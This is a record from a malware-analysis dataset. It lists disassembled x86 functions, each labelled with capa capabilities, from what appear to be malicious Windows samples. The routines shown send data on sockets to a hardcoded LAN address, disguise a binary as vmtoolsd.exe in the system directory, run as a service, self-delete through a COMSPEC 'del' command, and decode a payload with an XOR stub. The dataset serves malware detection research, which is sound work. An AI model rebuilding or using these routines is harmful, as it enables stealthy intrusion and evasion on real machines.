joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407db0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
push ebx
push esi
push edi
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x40c], 0
xor eax, eax
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], eax
push 0
lea ecx, [ebp - 0x410]
push ecx
mov ecx, 0x42f3e0
call fcn.0040b580
push 0x42f408
fld qword [ebp - 0x410]
call fcn.0040d838
push eax
push str.INFO:_d___s_Mbps
lea edx, [ebp - 0x400]
push edx
call fcn.0040c95b
add esp, 0x10
cmp dword [0xd3ff38], 0
je 0x407e63
push 0
lea eax, [ebp - 0x400]
push eax
call fcn.0040c8e0
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [0xd3ff38]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x407e63
mov eax, dword [0xd3ff38]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0xd3ff38], 0
cmp dword [0xd3ff3c], 0
je 0x407eb0
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.0040c8e0
add esp, 4
add eax, 1
push eax
lea edx, [ebp - 0x400]
push edx
mov eax, dword [0xd3ff3c]
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x407eb0
mov ecx, dword [0xd3ff3c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0xd3ff3c], 0
cmp dword [0xd3ff34], 0
jne 0x407ebe
jmp 0x407fa3
push 0
call fcn.0040c5c8
add esp, 4
push eax
call fcn.0040c5a0
add esp, 4
cmp dword [0xd400d0], 1
je 0x407f5f
mov dl, byte [0x4182b0]
mov byte [ebp - 0x424], dl
xor eax, eax
mov dword [ebp - 0x423], eax
mov dword [ebp - 0x41f], eax
mov dword [ebp - 0x41b], eax
mov dword [ebp - 0x417], eax
mov word [ebp - 0x413], ax
mov byte [ebp - 0x411], al
call fcn.0040c5aa
cdq
mov ecx, 9
idiv ecx
add edx, 1
push edx
push str.0.0_d_Mbps
lea edx, [ebp - 0x424]
push edx
call fcn.0040c95b
add esp, 0xc
lea eax, [ebp - 0x424]
push eax
call fcn.0040c5aa
cdq
mov ecx, 9
idiv ecx
push edx
push 0x4185c0
lea edx, [ebp - 0x400]
push edx
call fcn.0040c95b
add esp, 0x10
push 0
lea eax, [ebp - 0x400]
push eax
call fcn.0040c8e0
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [0xd3ff34]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x407fa3
mov eax, dword [0xd3ff34]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0xd3ff34], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4092d0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 0xff
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x4092fd
mov eax, 1
jmp 0x409381
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
jne 0x409320
mov eax, 1
jmp 0x409381
mov dword [ebp - 0x108], 0
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x108]
cmp dword [ecx + edx*4], 0
je 0x40937f
push 4
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x108]
mov eax, dword [ecx + edx*4]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.0040c260
add esp, 0xc
push 0x14
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.0040d170
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409460
Capabilities:
Create thread
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d0
push ebx
push esi
push edi
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
push 0x409390
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x407b80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4093c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x409410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xff
lea ecx, [ebp - 0x290]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x409504
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Error__d_when_getting_local_host_name._n
call fcn.0040d988
add esp, 8
mov eax, 1
jmp 0x409582
lea edx, [ebp - 0x290]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x43f608], eax
cmp dword [0x43f608], 0
jne 0x409533
push str.Yow__Bad_host_lookup.
call fcn.0040d988
add esp, 4
mov eax, 1
jmp 0x409582
push str.192.168.1.244
call fcn.004092d0
add esp, 4
call fcn.00402a50
mov eax, 1
test eax, eax
je 0x409580
call fcn.00407fb0
mov ecx, dword [0xd3ff34]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0xd400d0], 1
jne 0x40957e
mov dword [0x93f638], 0
jmp 0x409545
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409590
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
push esi
push edi
push 0x104
push 0
push 0xd400dc
call fcn.0040c880
add esp, 0xc
push 0x104
push 0xd400dc
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x418768
push 0xd400dc
call fcn.0040ce20
add esp, 8
push str.vmtoolsd.exe
push 0xd400dc
call fcn.0040ce20
add esp, 8
mov eax, 1
test eax, eax
je 0x409689
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call fcn.0040c880
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0x58]
push edx
call fcn.0040c880
add esp, 0xc
mov dword [ebp - 0x58], 0x44
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
push 0xd400dc
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jne 0x40964f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4095e4
cmp dword [ebp - 0x14], 0
je 0x409684
mov edx, dword [ebp - 0xc]
push edx
push 0
push 0x100008
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x409684
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4095e4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409910
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a0
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x409ab6
push 0x104
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x409ab6
push 0x104
lea eax, [ebp - 0x208]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x409ab6
push str.__c_del
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.___nul
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x30c]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x350], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x34c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x360], 0
xor ecx, ecx
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x358], ecx
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x350], 0x44
mov dword [ebp - 0x324], 1
mov word [ebp - 0x320], 0
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xf
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea edx, [ebp - 0x360]
push edx
lea eax, [ebp - 0x350]
push eax
push 0
push 0
push 0xc
push 0
push 0
push 0
lea ecx, [ebp - 0x208]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x409a98
push 0x40
mov edx, dword [ebp - 0x360]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xfffffffffffffff1
mov eax, dword [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0x35c]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x409ab8
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409ac0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
call fcn.00409bf0
test eax, eax
je 0x409ad9
call fcn.00409460
jmp 0x409b48
call fcn.00409b60
test eax, eax
je 0x409b1c
mov dword [ebp - 0x10], 0x42c2b0
mov dword [ebp - 0xc], 0x409690
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x42c2b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x409b48
push str.Thank_you_for_use_ek
push str.Microsoft_Software_ek
push 0x42c2b0
call fcn.00409c90
add esp, 0xc
cmp dword [0xd401e0], 0
je 0x409b48
call fcn.00409910
push 0
call fcn.0040d073
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x409bf0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x418768
lea edx, [ebp - 0x208]
push edx
call fcn.0040ce20
add esp, 8
push str.vmtoolsd.exe
lea eax, [ebp - 0x208]
push eax
call fcn.0040ce20
add esp, 8
lea ecx, [ebp - 0x208]
push ecx
call fcn.0040c8e0
add esp, 4
push eax
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x208]
push eax
call fcn.0040d9c0
add esp, 0xc
test eax, eax
jne 0x409c7b
mov eax, 1
jmp 0x409c7d
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414fdd
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x414ffd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00413ab3
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x41501e
test byte [esp + 8], 2
je 0x41501e
mov dword [0xd40264], 0xd
mov dword [0xd40268], 5
jmp 0x414ff9
xor eax, eax
ret

Function at 0xd42000
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x13e4887
nop
nop
push 0xd42020
pop edi
nop
mov edx, 0x598
nop
push dword [edx + edi]
xor dword [esp], ebx
pop dword [edx + edi]
sub edx, 4
nop
nop
jne 0xd42014
outsd dx, dword [esi]
xor eax, 0x4887013f
add dword ds:[edi + 0x37017e48], eax
xchg edi, eax
add edx, esp
dec eax
cmp eax, 0x3d5d5d01
add dword [edi - 0x79fec308], eax
dec eax
add dword ds:[edi + 0x71017fc8], edi
sar dword [edi + 1], cl
invalid
Function at 0x10001a20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10017480
mov eax, dword fs:[0]
push eax
sub esp, 0x118
mov eax, dword [0x10021568]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 4], 1
mov ecx, dword [ebp + 0xc]
mov edi, 0x10
xor bl, bl
cmp dword [ebp + 0x20], edi
jae 0x10001a6c
lea ecx, [ebp + 0xc]
lea edx, [ebp - 0x118]
push edx
push 0x20019
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001b7b
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x11c], 0x104
cmp dword [ebp + 0x3c], edi
jae 0x10001a9f
lea eax, [ebp + 0x28]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 0x114]
push edx
mov edx, dword [ebp - 0x118]
lea ecx, [ebp - 0x120]
push ecx
push 0
push eax
push edx
call edi
test eax, eax
jne 0x10001b69
mov eax, dword [ebp - 0x120]
cmp eax, 1
jne 0x10001afa
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001ae2
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x114]
call fcn.10003390
jmp 0x10001b67
cmp eax, 4
jne 0x10001b69
cmp dword [ebp + 0x3c], 0x10
mov eax, dword [ebp + 0x28]
jae 0x10001b0b
lea eax, [ebp + 0x28]
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 0x124]
push edx
push 0
push 0
push eax
mov eax, dword [ebp - 0x118]
push eax
call edi
test eax, eax
jne 0x10001b69
mov ecx, dword [ebp - 0x124]
push ecx
lea edx, [ebp - 0x114]
push 0x1001bba4
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
lea eax, [ebp - 0x114]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001b50
sub eax, edx
push eax
lea eax, [ebp - 0x114]
mov ecx, esi
call fcn.10003050
mov bl, 1
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x10
cmp dword [ebp + 0x20], edi
mov edi, dword [sym.imp.mfc100.dll_Ordinal_1296]
jb 0x10001b8f
mov ecx, dword [ebp + 0xc]
push ecx
call edi
add esp, 4
cmp dword [ebp + 0x3c], 0x10
mov dword [ebp + 0x20], 0xf
mov dword [ebp + 0x1c], 0
mov byte [ebp + 0xc], 0
jb 0x10001bb0
mov edx, dword [ebp + 0x28]
push edx
call edi
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10015f75
mov esp, ebp
pop ebp
ret 0x3c
Function at 0x10001bd0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10021568]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x1001bbac]
mov dx, word [0x1001bbb0]
mov eax, dword [str.mshtml.dll]
push ebx
push edi
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 0x1c]
mov word [ebp - 8], dx
mov dword [ebp - 0x10], eax
mov al, byte [0x1001bbb2]
push ecx
lea edx, [ebp - 0x10]
xor ebx, ebx
push edx
mov byte [ebp - 6], al
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov edi, eax
cmp edi, ebx
je 0x10001c87
push esi
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
cmp esi, ebx
je 0x10001c74
mov eax, dword [ebp - 0x1c]
push esi
push edi
push eax
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x10001c6d
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x18]
push eax
push 0x1001bbb4
push esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x10001c6d
cmp dword [ebp - 0x14], ebx
je 0x10001c6d
mov ecx, dword [ebp - 0x18]
movzx ebx, word [ecx + 0xa]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
pop edi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10015f75
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.10015f75
mov esp, ebp
pop ebp
ret
Function at 0x100059b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x10021568]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x20b]
push ebx
push eax
mov dword [ebp - 0x210], ebx
mov byte [ebp - 0x20c], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
push ebx
push ebx
push 5
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x103
lea edx, [ebp - 0x107]
push ebx
push edx
mov byte [ebp - 0x108], bl
call sub.MSVCR100.dll_memset
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x108]
push str._s_d
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
lea eax, [ebp - 0x108]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
add esp, 0x1c
mov byte [esi], bl
lea edx, [eax + 1]
jmp 0x10005a50
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10005a50
sub eax, edx
mov edi, eax
lea eax, [ebp - 0x108]
call fcn.10003390
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10015f75
mov esp, ebp
pop ebp
ret 8
Function at 0x10006fa0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10017659
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push ebx
push esi
push edi
mov eax, dword [0x10021568]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
lea eax, [ebp - 0x34]
mov dword [ebp - 4], ebx
push eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [ebp - 0x34], 9
lea edi, [ebx + 7]
jne 0x1000700d
mov eax, str._64bits
call fcn.10003390
mov ecx, dword [ebp + 8]
mov byte [ecx + 0xc], 1
jmp 0x1000701d
mov eax, str._32bits
call fcn.10003390
mov edx, dword [ebp + 8]
mov byte [edx + 0xc], bl
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000c100
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001744a
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x10021568]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [esi], ebx
push 8
mov dword [ebp - 4], ebx
call dword [sym.imp.mfc100.dll_Ordinal_1294]
add esp, 4
cmp eax, ebx
je 0x1000c1f5
mov dword [esi], eax
xor ecx, ecx
mov dword [eax], ecx
xor edx, edx
mov dword [eax + 4], edx
mov eax, dword [esi]
mov dword [eax], esi
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
lea edi, [esi + 0x18]
mov dword [ebp - 4], 1
mov dword [ebp - 0x14], edi
mov dword [edi], ebx
push 8
mov byte [ebp - 4], 2
call dword [sym.imp.mfc100.dll_Ordinal_1294]
add esp, 4
cmp eax, ebx
je 0x1000c1d0
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
xor edx, edx
mov dword [eax + 4], edx
mov ecx, dword [edi]
mov dword [ecx], edi
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebx
mov dword [edi + 0x10], ebx
mov eax, 0xf
mov dword [esi + 0x44], eax
mov dword [esi + 0x40], ebx
mov byte [esi + 0x30], bl
mov dword [esi + 0x74], eax
mov dword [esi + 0x70], ebx
mov byte [esi + 0x60], bl
mov word [esi + 0x7c], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea edx, [ebp - 0x10]
push edx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.MSVCR100.dll_public:_void___thiscall_std::exception::constructor_char_const__const_const__]
push 0x1001dc10
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], vtable.std::bad_alloc.0
call sub.MSVCR100.dll__CxxThrowException
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.MSVCR100.dll_public:_void___thiscall_std::exception::constructor_char_const__const_const__]
push 0x1001dc10
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 0x20], vtable.std::bad_alloc.0
call sub.MSVCR100.dll__CxxThrowException
int3
Function at 0x1000ffa0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x20]
imul ecx, eax
push edi
mov dword [esi + 8], ecx
test ebx, ebx
jne 0x1000ffc0
mov ebx, edx
mov ecx, dword [esi + 4]
xor edi, edi
test cl, cl
jns 0x10010036
test edx, edx
jne 0x1000fff9
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.mfc100.dll_Ordinal_265
mov edi, eax
mov eax, dword [esi + 0x24]
add eax, eax
push eax
push ebx
push edi
call sub.MSVCR100.dll_memcpy
add esp, 0x10
mov edx, edi
mov ebx, edi
mov eax, dword [esi + 0x24]
test eax, eax
je 0x10010012
movzx ecx, word [edx + eax*2 - 2]
dec eax
rol cx, 8
mov word [edx + eax*2], cx
test eax, eax
jne 0x10010000
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push ecx
mov eax, esp
push ecx
mov dword [eax], 0
mov eax, esp
lea ecx, [esi + 0x28]
push ecx
mov dword [eax], str.endian_swap
call fcn.10013ee0
add esp, 0x18
mov edx, dword [esi]
mov eax, dword [esi + 8]
push edx
push 1
push eax
push ebx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp eax, 1
sete bl
test edi, edi
je 0x1001005c
push edi
call sub.mfc100.dll_Ordinal_266
add esp, 4
test bl, bl
je 0x10010098
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0x24]
cdq
add dword [esi + 0x18], eax
push 0xffffffffffffffff
push ecx
adc dword [esi + 0x1c], edx
mov edx, dword [esi + 0x2c]
push 0x18
push ecx
mov eax, esp
push ecx
mov dword [eax], edx
mov eax, esp
add esi, 0x28
push esi
mov dword [eax], str.write
call fcn.10013ee0
add esp, 0x18
mov al, bl
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov ecx, esi
call fcn.1000fe60
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret 8
Function at 0x100130e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10016f78
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x10021568]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x28]
call dword [sym.imp.mfc100.dll_Ordinal_316]
xor edi, edi
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], edi
call dword [sym.imp.mfc100.dll_Ordinal_316]
lea ebx, [esi + 0x34]
push 7
mov ecx, ebx
mov byte [ebp - 4], 1
mov dword [ebx], edi
mov dword [ebx + 0x10], edi
mov dword [ebx + 8], edi
mov dword [ebx + 4], edi
mov dword [ebx + 0x14], edi
mov dword [ebx + 0xc], edi
call fcn.10012c90
mov eax, dword [ebx + 0xc]
push 0x5c
mov ecx, 1
push edi
add ebx, 0x18
push ebx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0x10], edi
mov dword [eax + 0x14], edi
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x20], edi
mov dword [eax + 0x1c], edi
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], 0x4000
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0xa8], edi
mov dword [esi + 0xac], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret